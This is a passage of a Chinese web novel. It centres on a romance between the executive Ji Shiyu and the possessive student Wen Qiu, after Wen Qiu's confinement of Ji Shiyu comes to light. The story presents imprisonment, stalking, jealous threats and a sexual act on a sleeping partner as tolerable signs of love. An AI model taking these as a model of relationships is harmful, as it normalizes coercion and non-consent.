季时昱冷声拒绝:“不行。” 闻湫靠着他的肩膀,抽泣一声:“你嫌弃我了是不是?” 季时昱:“……” “我在自恋什么呢,你从来都没有说过喜欢我,”闻湫呜咽了一声,捂着脸哭道:“哥哥,想得到你的爱好难啊,你为什么不肯多看看我。” 【好难受,我连本书都比不上。】 【呜呜呜呜好难受。】 季时昱合上书扔到一边,躺下睡觉。 闻湫抹干净眼泪,从身后抱住他的腰,哽咽恳求:“求求你了,再给我一次机会吧,我会好好表现的。” 【好想待在里面不出来呜呜。】 “我要睡了,你别吵我。”季时昱今晚说什么都不会再松口了。 昨晚那没法形容的烂活,他不想再体验第二次。 闻湫一阵憋屈,闭上嘴巴看他睡觉,心里自怨自哀个不停。 【总要让我多练练吧,第一次谁能掌握这么好啊,就算不舒服也不至于这么反感吧。】 【难道我弄太狠了?】 【可是我忍不住,里面好舒服。】 季时昱扯开腰上的手,“去关灯。” 闻湫暂时松开了手,挪到床头柜前,伸手关灯。 屋里暗下来,他又过去抱住了季时昱,手掌贴在季时昱腹部,心里各种不能说出来的小心思全涌了出来。 季时昱这几天听习惯了,在这种情况下勉强能入睡。 睡前忘了拉窗帘,闻湫伸手就可以碰到遥控器,但他没有关,此刻只想搂着季时昱睡觉,顺便偷偷摸摸占点小便宜。 窗外皎洁的月光照映在季时昱侧脸上,闻湫凑过去亲了一口。 早上。 季时昱是被争吵声吵醒的,困得难受,脑子不太清醒,他拉着被子蒙住头,谁知两道声音吵个不停,特别影响睡眠。 他翻了个身,捂住耳朵想接着睡,恍惚间意识到不对劲。 争吵? 谁和谁争吵? 季时昱睁开眼睛,蓦然坐起身,发现身边空无一人,卧室的门开着,导致争吵声清楚传进他耳中。 两个人的声音都很熟悉,他听了一会儿,隐约猜出来了。其中一道是闻湫的声音,另外一道……好像是岳裎。 季时昱扣好睡衣的扣子,掀开被子下床,穿了拖鞋往外走。 楼下。 岳裎带来的人扣押着闻湫,后者被迫跪在地上,脑袋低垂,没人能看清他此刻的神情。 “你到底知不知道,你现在这种行为是属于犯罪的?”岳裎教训着闻湫,“时昱又不是不让你追,你用得着把事情搞成这样吗?” 闻湫周身围绕着一股阴冷的气息,垂眸掩下眼底的沉郁,被扣着的右臂上暴起几根青筋。 他给人的感觉安静又诡异。 岳裎不适皱了皱眉。 扣押着闻湫的保镖心里发毛,手上不自觉使了点力气,凶了一句:“老实点儿!别想耍花招!” 岳裎瞅了保镖一眼,忽略心底的怪异,对闻湫说:“你消失的这阵子,你家里人给我打了很多电话,我都替你瞒着,前两天你哥来A市出差,还专门去岳家托我帮忙调查,他们都很担心你。” “担心我?”闻湫冷笑一声,讥讽道:“担心我死没死?考虑要不要给我办丧事?” 岳裎满眼不赞同,眉头皱得更紧,“他们是你的家人,当然是担心你在外面受欺负,你没必要把家里人想那么坏。” 闻湫猛地抬起头,眼神狠戾,咬了咬牙,恶狠狠道:“你懂什么!他们巴不得我早点出事,这样就没人当闻家的定时炸弹了!” 季时昱下楼正巧听到这句话,刚才在楼上更是将他们的对话听得一清二楚,眸光微沉,站在原地没动。 远处的闻湫看见了他,眼睛顿时变得透澈明亮,笑道:“哥哥,你怎么不多睡一会儿啊,我还没有处理完这里的事情呢。” 岳裎回头看见了刚睡醒的季时昱,大步走过去,关心道:“你没事吧?他有没有对你做什么?” 季时昱摇头:“没有。” 他不喜欢肉眼看得见的地方留下痕迹,专门提醒过闻湫,闻湫很听话,亲归亲,从来不在外人能看得到的地方留下痕迹。 岳裎上上下下把季时昱打量了一遍,没看出什么,松了口气,“还算他有点良心。” 季时昱看向闻湫。 闻湫想站起来,胳膊动了一下,紧接着被两个保镖用力押着跪在地上。 他抬起脑袋,用含泪的眼睛望着季时昱,楚楚可怜道:“哥哥,我膝盖好痛啊。” 季时昱看了眼那俩保镖,说:“松开。” 保镖用眼神询问岳裎,毕竟这才是他们的雇主。 岳裎看到季时昱安全无恙,也不管闻湫怎么着了,摆了摆手,“松开松开。” 保镖松开了手。 闻湫立即爬起来冲到季时昱面前,还没来得及抱住,就被一只手给拦住了。 岳裎抓着闻湫的胳膊往旁边拽,“这么多人在呢,你还没死心?” 不止是两个保镖,外面还有十几个人,各个身材高大,清一色黑西装戴墨镜,看着就不好惹。 第42章 身上好热 我和哥哥在谈恋爱 这种局势下, 闻湫没办法留下季时昱,他正要用老办法装可怜博取同情,却听见季时昱说了句话。 “你们出去,我单独和他淡淡。”季时昱了解闻湫的性格, 吃软不吃硬, 这么闹下去不会有好的结果。 岳裎松开了手, “行,我就在门口,有事儿喊我一声。” 门锁拆了,那扇门闭合不了, 稍微一推就开, 不用担心闻湫再耍花招。 岳裎带着保镖出去, 亲自守在门口。 屋内。 季时昱坐在沙发上, 看了眼站在原地的闻湫,拍了拍身边的位置, “坐下说。” 闻湫走了过来, 小心翼翼在他面前蹲下,半趴在他腿上,低声祈求:“哥哥, 不要走。” “闻湫,我不可能一辈子待在这儿,况且我们的关系和以前不同了, 你还在怕什么?”季时昱有许多事要忙,这一周已然是极限了。 闻湫歪头, 脸颊贴着他的腿,“不想你走。” 季时昱揉了揉闻湫的头发,“别闹了。” 闻湫抱住他的腰, 闷声问:“那我们现在是在谈恋爱吗?” 季时昱无奈开口:“……不然呢?” 闻湫握住他的手亲了一口,盯着他的无名指,低声喃喃:“可是你还没有对我说过‘我爱你’这三个字,哪怕说一声喜欢我也好啊。” 季时昱揪了下闻湫的耳朵,“感情要看行动,不是三两句话就可以定义的,你一定要听到那些有什么用?” 闻湫抬起头,“你连一声爱我、喜欢我都不肯对我说,你让我怎么相信你?” 季时昱对上他质问的视线,看了一会儿,低下头,在他亢奋且诧异的眼神中逼近,主动亲吻他的额头,甚至捏着他的下巴微微抬起,吻上了他的唇。 吻很轻,轻轻啄一下就离开,宛如羽毛在唇上扫动,扫得人心里发痒。 这个吻不像闻湫那样又啃又咬又吸,亲完下巴都沾了口水,可是足够温柔,让人轻易沉溺在其中。 闻湫眼神痴迷,舔了舔嘴唇,完全没亲够。 “你听话,明天我去上班,你去上学,我不会再躲着你,只要在你不耽误学业的情况下,随时可以来找我。”季时昱见他毫无餍足的贪婪模样,捏了捏他的脸,“以后别在外人面前这样看我,收敛一点。” 闻湫乖巧点头,垂目掩藏着惊人的偏执,轻声说:“我听你的话,但是你能不能不要今天住这里,明天又住那里,可以不可以固定住在一个房子里,我每天晚上都去找你。” 季时昱颔首:“可以。” 这阵子接连发生的事,让他能够在同一间房子里连住了,以前出差养成的习惯被改了回来,况且固定住在一个房子里本就不是坏事。 闻湫眼睛亮了,强调道:“我们说好了,你不能躲着我。” 季时昱:“如果躲你,会怎么样?” 闻湫眼底的怨气浮现出来,“你躲我,我可能会重蹈覆辙的做错事。” 季时昱应了一声,“不会躲你,但你要听话,不能无理取闹。” 闻湫轻易就被安抚好了,听他的话先去楼上换了衣服。 季时昱让岳裎进来,确保这件事没有其他人知晓,雇佣来的保镖全都签了保密协议,这才放下心来。 “我说真的,你对他是不是有点太纵容了,他干了这种荒唐事儿,你还能轻易原谅他?”岳裎不太能理解。 季时昱:“如果秦笛把你关了起来,你会怎么样?” “我和秦笛都认识多少年了,他把我关起来,只能说明他想和我玩情趣了。”岳裎笑几声,摆了摆手,“算了,我看你是真栽了,往后悠着点吧,闻湫这个人太偏激了,我刚才多看你一眼,他看我的眼神就像在看情敌一样,满脑子想什么呢。” 季时昱知道闻湫没有安全感,原因是闻家多年来对闻湫太过忽视,不过这些事不适合往外说。 岳裎:“你刚给我发短信那天,我直接懵了,还以为你在和我开玩笑呢,谁知道后两天愣是联系不上你了,连关秘书都不知道你在哪儿。” 岳裎吐槽着那几天的遭遇,一抬头看到换好衣服的闻湫下来了,是一套勉强能出门的衣服。 闻湫预谋这一切的时候,没有购置可以外出穿的衣服,清一色的情侣睡衣和浴袍,好在有几套睡衣能够出门穿。 季时昱身上穿得也是能够穿出门的睡衣。 岳裎看了看闻湫,再转过头来看季时昱,发现他俩穿的情侣款,啧了声,嘀咕道:“他用得着这样吗,连衣服都要穿情侣款。” 岳裎声音小,只有季时昱听到了,他低头看了眼身上的衣服,轻叹了一声。 他来之前穿得衣服被闻湫藏起来了,一直没找到,前两天晚上问了一句。 闻湫红着脸道:“我不小心把衣服弄脏了,早就扔了。” 嘴上那么说,心里可不是那样想的,只能确定他那件衣服的确没办法穿了。 季时昱没见过闻湫是如何处理垃圾的,每当他睡醒起来,别墅里的垃圾都会被清理掉,他猜测到闻湫有办法从别墅里出去。每当问这些问题,闻湫不会在心里想答案,反而是在焦虑他哪天突然消失。 他回想着这段时间和闻湫的相处,没注意有人走到了他身边,直到脸颊被亲了一口,抬起眼皮,看到闻湫正对着他笑。 “哥哥,我换好衣服了。” 闻湫把岳裎无视的很彻底。 岳裎倒是不在意闻湫这种态度。 季时昱起身,“我们走吧。” 岳裎点头。 岳裎带来的保镖不少,他们都开车来的,外面一排排黑色商务车停在那儿,引得偶尔路过的路人频繁回头观看。 闻湫紧黏着季时昱,回去的路上和季时昱坐在一起,两只手抓着季时昱的胳膊不放。 岳裎坐在副驾,时不时回头看一眼,每次都能看到闻湫小鸟依人的模样。 他嘴角微抽,着实开始佩服起了季时昱,闻湫这种黏人的程度完全是病态的,变成其他人可能早被逼疯了。 季时昱和闻湫约定好了暂时居住的住宅,就是闻湫上次开车没油,后面留下住了一晚上的别墅区。那里离季氏不远,去往A大的路程也方便,唯一的弊处就是附近不好打车,不过他们也用不着。 岳裎把季时昱送回别墅就走了,毕竟家里还有人等着他吃饭。 季时昱回去洗漱了一下,换了身衣服,让关秘书把需要签字的文件全部送过来,随后坐在书房里忙工作。 他们从醒来到现在还没有吃东西,闻湫本想做饭,发现这里没有任何食材,他跟季时昱说了一声,开着车库的车出门买菜去了。 闻湫回来时碰见了正要按门铃的关秘书。 “关哥,你来找哥哥吗?”他下了车,走过去,在关秘书惊讶的目光中,输入了密码锁上的密码。 关秘书僵硬点头,“小闻,你怎么在这儿,还有你对季总……”的称呼。 闻湫歪了下头,疑惑看着他,“我和哥哥在谈恋爱,住一起有什么问题吗?” 关秘书:“……” 原来这几天缠着季总的小妖精是你啊。 四米高的铁门缓缓向两边打开,闻湫像主人家一样,说:“哥哥在楼上的书房里,你进去吧。” 他说罢,转身回到车里,准备把车开回车库。 关秘书神色复杂地进了屋。 要签字的文件很多,一个公文包塞满了。 季时昱签之前会先翻看两页,确定重要信息没有出错,才拿起钢笔签下自己的名字。 “季总,您这些天都在这儿?”关秘书没忍住问道。 季时昱否认:“刚回来。” 关秘书恍惚点头,猜测季总前几天应该是带小闻出去玩了,怪不得不带他去呢,原来不是出差。 关秘书没再说话了,等季时昱全部把那些文件签完,汇报起最近的一些事情,基本都是和季氏有关的。 不多时,闻湫敲门进来。 “哥哥,饭做好了。” 季时昱颔首,问关秘书:“吃饭了吗?” “我吃过了,”关秘书拿起公文包,“您慢慢吃,我不打扰您了。” 站在门口的闻湫往旁边挪了两步,看关秘书逃跑似的快步离开,眼睫微敛,遮挡住眸底最真实的情绪。 “你又在想什么?”季时昱走了过来。 闻湫如实说道:“好嫉妒关秘书可以经常和你待在一起。” 季时昱出了门往外走,“他在工作,我也在工作。” 闻湫跟在后面,“我知道啊,所以我能不能当你的助理啊,这样我也可以随时跟着你了。” 季时昱:“你还在上学,这件事等你完成学业再说。” 闻湫:“哥哥……” 季时昱停下脚步,转过身,站在楼梯前看着他,“助理和男朋友的身份,只能选一个。” 闻湫乌黑的眸子闪了闪,笑道:“那我要当你男朋友。” 季时昱淡定下楼。 午饭依旧是简单的家常菜,季时昱吃过饭接着去书房忙,闻湫待在他身边看着他,一会儿帮他倒水,一会儿走到他身后捏肩。 晚上。 季时昱让闻湫早点睡,明天准时去学校。 闻湫抱紧了他,“哥哥,我的假期还有一周。” 季时昱掰开腰间的手臂,翻身背对着闻湫,“明天提前销假回去上学,我不喜欢荒废学业的人。” 闻湫凑上去在他下巴上舔了两口,委委屈屈道:“我回去上学,你别不喜欢我。” 季时昱闭上眼睛,“睡觉,别说话了。” 今天有点热,晚上没有拉窗帘,还开了窗户通风。 季时昱听不到心声,比往常入睡快一点。 闻湫等他呼吸变得平稳,低声喊了声哥哥,见他没有反应,贪婪浓黑的眸子微眯,偷偷探进被窝,随后向下钻去。 清晨。 闻湫准时醒来,没有打扰季时昱睡觉,起身洗漱好之后,去厨房做了顿早饭,才换身衣服去上学。 车库里停了两辆车,闻湫开一辆,另外一辆是备用,季时昱上班会有司机接他。 上午九点,季时昱睡醒了。 他精神气不是很足,想起昨晚荒淫的梦境,脸色有点不好看,伸手往旁边摸了一下,没有感受到余温。 他拿起手机,看到了闻湫的消息,告诉他厨房里有早饭,在微波炉里叮一会儿就能吃。 季时昱在床上躺了一会儿,慢慢坐起身,昨夜的梦境在脑中挥之不去,严重影响了他的精神状态,吃早餐时都在时不时走神。 闻湫黏他黏得紧,他会加紧约束,他们在性.事方面并不频繁。他自认为对这方面没有太大的兴趣和渴望,昨晚怎么会做那种梦? 季时昱吃完早饭都没有想清楚,换了身衣服出门。 赵屈早已在外等候,黑色车辆停在外面很是显眼。 快十点时,季时昱抵达公司。 “季总。”安秘书跟在他身后汇报工作。 关秘书今天请假了,大部分事情落在了安秘书身上,关秘书过意不去,特意提了周末请她吃饭,安秘书顺势答应了。 安秘书前阵子没见过季时昱,有什么事都是通过关秘书转达,她也不关心上司是不是不看好她这类的问题,反正每个月能一分不少的发放工资就行。 她来季氏之前跟了位脾气不好又喜欢压榨员工的上司,这么对比下来,在季氏的工作轻松太多了,起码不会受到精神损伤。 下午三点多,安秘书看到了一个很高的男人走进了季总的办公室,长得不是一般的帅,神情有点阴沉,推门进去的一瞬间,立即换上了一副养眼的笑容。 她想起了关秘书今早叮嘱她的事。 “季总谈了个小男友,是A大的学生,他好几次跑来公司找季总,你应该见过他。他这个人有点邪乎,不管他跟季总闹成什么样,只要季总不喊你,你就别好奇进去查看情况。” 安秘书很听劝,谨记关秘书的叮嘱,对现在的办公室敬而远之,没过多久,果不其然听到了办公室里的哭声,她拿起杯子去茶水间接水。 办公室内。 “我错了,我不敢了,你别不理我。”闻湫抱着季时昱倒在沙发上,让季时昱压在自己身上,两手紧紧搂着他的腰,生怕他突然走了。 【昨晚都那么小心了,怎么还是暴露了?难道哥哥中途醒了?不应该啊,哥哥醒了肯定第一时间把我推开。】 季时昱怀疑了一上午,刚才三两句话通过闻湫的心声得到答案,现在正在气头上。 他向背后伸手,强硬掰开腰间的手,刚掰开一丝缝隙,很快又被牢牢抱住,他拍了下腰间的手臂,“松开!” 闻湫哭着摇头:“不松开,松开你就走了。” 季时昱皱眉:“我不走,你先松开。” 闻湫不情不愿松开了手。 季时昱站起身,用手蹭掉脸上的口水。 闻湫着急起身,哭诉道:“对不起我不是故意的,我昨晚就是鬼迷心窍,我保证以后不会这样了。” 【哥哥是不是嫌弃我了,怎么可以当着我的面擦掉,我的吻就让他这么恶心?】 季时昱:“……” 这哪是吻,分明是舔,舔了一脸的痕迹还不允许他擦掉。 他看着闻湫破碎的目光,别开脸,说:“我没有嫌弃你,只不过下次别在办公室这样,这里有监控。” 办公室里安装了监控,虽然只有他一个人可以调出来查看,但是他不喜欢以那种姿态出现在监控里。 “没人能看到的,我都快一天没有见到你了,就不能多亲一会儿吗?” 闻湫当然知道有监控,也知道这里的监控只有季时昱有权限调出来,所以才会这么肆无忌惮的亲吻,如果这一幕有可能被其他人看到,他肯定会忍到上车再亲的。 “你听话,”季时昱整理着衣领,“昨晚的事我还没有追究,再有下次,我会考虑和你分开睡。” 闻湫眼底闪过狰狞的扭曲,低下头,“我听话,不要分开。” 季时昱见这招这么有用,垂眸看着他略长的黑发,无声笑了下,伸手在上面揉了揉,“找时间去修理一下头发,太长了,带给人的印象不太好。” 闻湫的头发没有长到邋遢的地步,但是会将他衬得很阴郁,旁人路过时都恨不得离他几米远。 闻湫点点头,这时候完全不敢违抗。 下午下班,季时昱和闻湫一起回去的,他坐在副驾,闻湫负责开车。 “哥哥,你今晚想吃什么啊?”闻湫问。 季时昱低头回着消息,道:“都行。” 闻湫看了他一眼,笑意收敛,眼底闪过一抹妒意,“哥哥,你都下班了,就不要再看手机了,有什么事等上班了再说。” 【都下班了还要看手机,所以工作比我重要,开会比我重要,什么都比我重要,哥哥太偏心了,什么时候才能多看看我。】 【凭什么每天和秘书见面,却要对我爱搭不理,连出差都要带秘书,好嫉妒啊,就不能不工作吗,就不能每天和我待在一起吗,就不能……】 心声忽然停止。 因为季时昱捏了下闻湫的脸,又将手绕到后面揉耳朵,看着耳朵一点点泛起红,收回手,接着打字,“你关了我一周,很多事堆积在一起,我需要尽快处理完,等不忙了再好好陪你。” 闻湫:“……嗯。” 【身上好热,想亲哥哥。】 【为什么不能每晚都做啊。】 季时昱没管他想这些事,只要不随便牵扯到其他人就行。 闻湫开车去了超市。 季时昱很少逛超市,也很少逛商场,他需要什么会有人专门给他送来,这样既方便又不会浪费时间,久而久之便没有亲自购物了。 今天难得来一次,或许是亲眼看到闻湫如何挑选菜品,感觉还挺新鲜。 他和闻湫逛了一圈,没有买太多菜,怕吃不完坏了,最多只买两三顿的菜量。 往收银台走的时候,季时昱问:“郊外那套房子里还剩那么多吃的,你怎么处理?” “会有人处理的,随便他们怎么样。”闻湫也不是浪费的性格。 他突然想到那里还有那么多套子,还是找人定制的,味道和情趣都有所不同,更不能浪费了,得找个时间搬回来。 他们晚上吃饭时又闹了矛盾。 闻湫欲望重,提议能不能一周四次,两次真的太少了,根本没办法满足。 季时昱摇头,“不行,两次够多了。” 闻湫一米九的身高不是白长的,这么大的体格,不仅力气大,又……持久…… 完了之后还会很快再来感觉。 说是一周两次,其实那一次里包含了太多次。 “哥哥,好不好嘛,求求你了。”闻湫软着声音,可怜巴巴地撒娇。 “这件事没商量。”季时昱抽了张纸巾擦嘴,“我吃好了,你慢慢吃。” 他起身离开,态度坚决且不容置疑。 闻湫黑眸幽深沉郁,怨气特别大,死死盯着他的背影,在他上楼之后,没忍住摔了筷子。 夜晚。 季时昱冲过澡从浴室出来,他看了眼床上鼓起的包,听着不能说出来的心声,默默走到窗户前将窗户打开。 最近天热,开窗户的举动倒是很正常。 他走到床边,闻湫掀开被子露出了泛红的脸颊,迷离的眸子看到他,其中痴意更甚,笑了声,探出胳膊就要抓他。 “哥哥,你怎么不上来啊。” 季时昱往后退了一步,盯着他的手指,“你在干什么?” 闻湫往床边爬了爬,手指牢牢抓住他腰间耷拉下来的浴袍带子,“哥哥,你不让我碰你,连这样也不允许吗?” “可以去浴室。”季时昱站在原地没动。 闻湫一点点拉开浴袍带子,“可是浴室里没有你的味道。” 他说慌了。 浴室里也有季时昱的味道,只不过没那么浓重,浴室哪有床上好啊,不仅保留着季时昱的味道,他还能专门躺到季时昱睡的位置那里开动。 多爽啊。 季时昱捏住腰间的浴袍带子,防止被拉开,他目光冷清,看着床上满脸情欲的人,终究是没说拒绝的话。 他主动拉开腰间的白色带子,说:“今晚就一次。” 今晚就一次,而不是一晚上很多次。 闻湫眼睛放光,像是见到食物的小狗,点着脑袋:“我会听话的,哥哥你快上来。” 他连忙往里面挪了挪,态度积极的不像话。 第43章 我会管他 你不要对我说气话,我会当真…… 季时昱也不知道怎么想的, 默许了闻湫的行为,对比上一次,勉强有点进步,起码不会再横冲直撞, 但是耗费太长时间了。 到了后面, 季时昱困顿眯着眼睛, 每当快睡着时就会被弄醒,于是在睡前说道:“明晚你去隔壁,让我好好睡一觉。” 闻湫立即慌了,哼哼唧唧地说着不要。 季时昱闭上眼, 翻身背对着他, 声音很哑:“听话, 别惹我生气。” 闻湫抱住他, 焦虑地一整夜没有合眼,第二天又准时去了学校。 季时昱没有去公司, 在家休息了一上午, 只喝了点温水,剩余的时间一直在睡觉。 下午一点多,床头的手机响起专属铃声。 他睁开眼睛, 看着深灰色的被子思忖了一会儿,想起这是闻湫拿着他手机专门设置的特殊铃声,伸出手臂摸到床头柜边上的手机, 看了一眼,滑动接听。 他还困着, 闭上眼睛养神,把手机贴在耳边没有说话。 “你好,请问你是闻湫的哥哥吗?”对面是一道小心翼翼的男声。 季时昱倏地睁开眼, “我是。” 那边松了口气,又说:“我是闻湫的同学,他在学校晕倒了,我们现在在医院,他暂时没有醒过来,我晚点有课,您能来看着他吗?” 季时昱坐起身,声音微沉:“地址。” 半小时后。 季时昱推开一间病房的门,看到一屋子的人,只有第二张病床前坐了一个学生模样的青年,他无视其他人好奇的目光,向第二张床走过去。 青年看到他,稍愣片刻,问:“闻湫哥哥?” 季时昱轻嗯一声,“他怎么晕倒的?” 青年:“医生说他没有休息好,再加上心里有郁气,这才晕了过去,其实就是气急攻心。” 季时昱颔首,“我来看着他,你去上课吧。” 青年点点头,把一张单子递给他,神色窘迫,“这是消费单,我提前帮忙垫上了。” 季时昱掏出手机,“我转你。” 青年收到转账就走了。 季时昱看了眼拥挤聒噪的病房,拿手机联系了一个人。 十五分钟后,他坐在单人病房里,打电话和关秘书说着事情。 天微热,病房里的窗户开着,倒不至于那么闷得慌。 他察觉到床上的人似乎动了下,抬眼看过去。 闻湫缓缓睁开了眼睛,眼神有些茫然。 季时昱迅速交代了几句便挂断电话,起身来到病床旁的椅子前坐下,温声关怀:“你怎么样,有哪里难受吗?” 闻湫反应过来自己住院了,刹那间,眼里覆盖了一层朦胧的泪意,声音发颤:“我……” “谁惹你了,气这么狠?”季时昱先一步问道。 闻湫任由眼泪流进黑发中,可怜巴巴道:“没有人惹我。” 季时昱抽了张纸巾帮他擦净眼泪,“别赌气,跟我说实话。” 闻湫翻身背对着他,抑制不住地发出一声哭腔,肩膀轻轻颤着,说:“你想和我分手,我好生气,好难受,好想死掉。” 季时昱皱眉,“我什么时候说过要和你分手了?”他就没提过这两个字。 闻湫蒙着头,趴在枕头上哭:“你要和我分床睡。” 季时昱脾气都没了,扶额说:“……分床睡不是分手。” 闻湫闷在被子里不出声,只发出轻微的啜泣。 季时昱想起医生的嘱咐,叹道:“不分床睡了,这样行了吗?” 闻湫还是不出声。 季时昱知道他想听什么,无奈讲给他听:“以后都不分床睡,你想睡在哪儿就睡在哪儿,我昨晚不过是在赌气,没有真的想和你分开睡。” 长这么大,第一次碰到因为这种事把自己气进医院的人,可能往后也见不到第二个。 闻湫从被子里露出脸,红着眼睛看他,“真的吗?” 季时昱:“真的。” 闻湫朝他扑了过来,跪在床上,弯下身来搂住他,“哥哥,你不要对我说气话,我会当真的,我不能没有你,真的不能。” 没有在一起之前,他在暗中窥探,像个变态一样跟踪、窥视、耍心机。在一起之后,他频繁嫉妒、猜忌、敏感多疑、愈发没有安全感,连季时昱多看别人一眼,他都能幻想出自己被抛弃的画面。 很痛苦很痛苦,每天快要把自己折磨疯了。 闻湫不想这样,可他控制不住自己。 季时昱回抱住他,放缓语气哄人:“我不说气话,但你也不许气我,平时乖乖听话,不能和我反着来,能做到吗?” 闻湫收紧手臂,没吭声。 季时昱:“做不到?” “我能做到,”闻湫从他怀里退出来,哑声说:“但我有时候控制不住自己,你能不能对我多点耐心,再多给我一点宽容。” “……好,我答应你。” 季时昱步步退让。 他们在病房里温存了一会儿,现在是下午三点多,季时昱还没有吃午饭,闻湫也没吃,一整天只顾着生气了,哪有胃口吃饭。 季时昱点了私厨,和闻湫在病房里一起吃了午饭。 闻湫的情况不太稳定,医生建议留院观察两天,可他不喜欢医院的味道,不想在这儿多留,闹着让季时昱带他回去。 季时昱打了个电话,便带他离开了医院。 晚上。 岳裎联系了季时昱,让他劝劝闻湫,及时跟家里人联系报声平安。 “我跟闻家保证了,这两天绝对会让闻湫联系他们,没想到闻湫把他家里人的号码全拉黑了,就算是和家里闹矛盾也要有个分寸,他这么闹下去对谁都不好。”岳裎作为中间人,是最为难的,他不想管那么多,但闻家那边的人太难缠了。 季时昱道了声好,挂断电话,起身去了厨房。 闻湫穿着围裙在厨房做饭,刚炒完一道菜,菜里放的辣椒太辣了,不小心呛到,转身捂着嘴巴咳了几声,一抬眼,看到了站在厨房门外的人。 抽烟机加大力度抽着油烟,可惜这次的辣椒太呛了,短时间内没那么快被抽走。 “你出来,我有话跟你说。”季时昱话落,伸手在鼻子前扇了两下,转过身往餐厅走。 闻湫关了灶台,出来后关好厨房的门,走到季时昱面前坐下。 “哥哥,怎么了?” “你把你家里人的号码拉黑了?”季时昱问道。 闻湫顿了一瞬,点头:“是,我拉黑了他们,和闻家走得比较近的亲戚,我全部拉黑了。” 季时昱垂眼思索片刻,“报声平安也不想?” 闻湫摇了摇头。 季时昱叹道:“他们有没有停你的卡,钱够花吗?” 虽然知道闻湫有钱,还是不放心问了句。 闻湫依旧摇头,“我成年之后,他们没有给过我一分钱,所有的钱都是我自己想办法赚的。” 季时昱知道他有许多赚钱的法子,只是有件事很疑惑,问道:“每年有分红吗?” 之前调查的资料里显示,闻湫名下有闻氏的股份,那是闻老爷子离世之前分好的,闻家每个子孙都有,成年后有效。 闻湫笑了声,毫不在意道:“有是有,但我不想花闻家的钱。” 季时昱沉思许久,点头:“我知道了。” “哥哥,你放心,我有钱花的,我跟你在一起不是图你钱。”闻湫怕季时昱误会他别有目的,解释道:“哪怕你和季家没有任何关系,我也会永远爱你。” 季时昱当然能感受到闻湫的感情,从一开始的怀疑到现在的坚信,明白闻湫喜欢瞎想,道:“我没有质疑你,只是想了解一下你和闻家的关系差到什么地步,别多想。” 闻湫点头,心思重重地去了厨房。 季时昱往阳台走,给岳裎发了条消息。 【你告诉闻家,闻湫在我这里,有什么事可以联系我。】 岳裎回了个‘OK’的手势。 夜里。 闻湫抱着季时昱入睡,没有干什么,紧紧搂着他的胳膊不松手,仿佛只要松开手,就再也见不到他了。 现在还不算晚,季时昱收到了殷女士的消息,他看了两眼,把身后的枕头塞进了闻湫怀里,后者下意识抱住,睡得很满足。 他起身,拿着手机去外面接电话。 “殷总。” 季时昱没有以长辈来称呼,一声殷总瞬间拉远了关系。 殷女士并不在意,问:“闻湫在你那儿?” 季时昱关上了阳台的窗帘,“是,他在我这儿,殷总找他有什么事?” 殷女士说话的语气带着指责:“季时昱,你不该离闻湫那么近,他这个人……” “他这个人怎么样,心里又想了什么,我比谁都清楚,”季时昱坐在吧台前,盯着上面一排排的名酒,说:“你们不管他,我来管,只希望闻家别再来插手关于他的事。” 殷女士情绪激动:“你懂什么,你知道他从小到大害了多少人吗?他又坏又自私,满脑子只想着自己,暴力的不像话,说他天生坏种也不为过,而且你知不知道闻家替他收拾了多少烂摊子?” 殷女士嘲讽笑道:“本来想把他困在S市永远看着他,没想到他敢偷偷改志愿,如果我和他爸不随时管着他,他早就把天捅破了!” “你怎么知道一定是他的错?你就没想过你儿子被别人欺负?没想过他从小被霸凌、被孤立?为什么要把所有的事情都推在他身上?”季时昱冷静对峙,“他是你儿子,因为你和闻总的不作为,自小受到了不公平的待遇,事到如今还要被你们管控着,换做我早把天捅破了。” “你……” 殷女士话未说完,电话里出现了另一道声音。 “季时昱,你这话是什么意思?” 季时昱听着陌生的男声,没能猜出是谁,微微垂眸,“很难理解吗?你们看到了他暴力的一面,随便将他归为坏人,对他的遭遇毫不在意,哪怕随便找人问句话,就会知道他当时在反抗,可你们不相信他,更不会去调查他受了什么冤屈,既然这么嫌弃他,就永远都别再管他了。” 我会管他,我信他性格不坏,我信他不会无缘无故的暴力行事,你们都不信他没关系,我信就够了。 他在心里补充道。 也是此刻,才发现闻湫的父母有多冷漠。 “季时昱!”那道男声暴躁如雷,威胁道:“你别以为你姓季我就不敢动你!” 季时昱可算听出是谁了,笑了声,眼中尽显冷意,“好啊,我也想看看闻总会怎么动我,你们派人来A市之前记得做好准备,小心有来无回。” “笑话!你以为……” 季时昱挂了电话,随手将手机扔到沙发上,向后靠着沙发,烦躁叹了声气。 他之前到底在怀疑什么呢。 原本以为闻湫和闻家之间有误会,现在看来,哪有半点误会啊,闻湫完完全全是被欺负的一方。 他闭眼想着事情,注意到轻微的脚步声,还没有睁开眼,旁边的沙发陷下去,闻湫枕在他腿上,面向他腹部,搂住了他的腰。 季时昱揉着他的头发,“听见了?” 闻湫闷闷地嗯了一声,说:“你对我真好。” 季时昱没有吭声。 二人在客厅里坐了好久,直到又一通电话响起,这次是岳裎打来的。 闻湫没有看到来电人的名字,抱紧了季时昱,“别接了,我不想你被他们气到。” “是岳裎的电话,你先松开。”季时昱轻轻拍着他肩膀。 闻湫松了松手臂,依然搂着他。 季时昱接听了电话。 “你跟闻家说什么了?他们居然跟我要你家的地址。”岳裎说道。 季时昱:“一点小争执,你不用理他们。” 岳裎:“行,有你这话我就不管了,整天打电话烦死了,搞得我像他们儿子一样。” 季时昱挂了电话,牵着闻湫回屋里睡。 夜里下了场小雨,窗外滴答声响个不停,闻湫深夜起来,关了别墅里的所有窗户。 他回到床上,拿出手机,把他大哥从黑名单里拉出来,发完两条消息接着拉黑。 事后,他搂住季时昱接着睡觉。 一夜无梦。 闻湫上午没课,抱着季时昱睡了个好觉,早饭也没有起来做。 刚醒时容易情动,季时昱轻易被撩拨起了欲望,碍于闻湫昨天进了医院,今天没说太重的话,只说接下来几天禁欲。 闻湫不情愿哼了几声,倒是没像昨天那样自己气自己。 【哥哥都不知道自己有多诱人,我又是刚开荤,哪里把持得住嘛。】 【好烦啊,到底怎么样才能每晚都做呢。】 季时昱轻喘着,含糊道:“你想都别想。” 闻湫没听清,面露疑惑,“哥哥你说什么?” 季时昱闭上眼,“快点弄,我累了。” 闻湫兴奋点头,按照自己的节奏加重了力度. 周末那天,季时昱回了趟老宅。 这是季帆嵘出事后,他第一次坐在老宅和二老吃饭。季忱和季茵都在,后者更是诉说起在亲爸那里受到的苦楚。 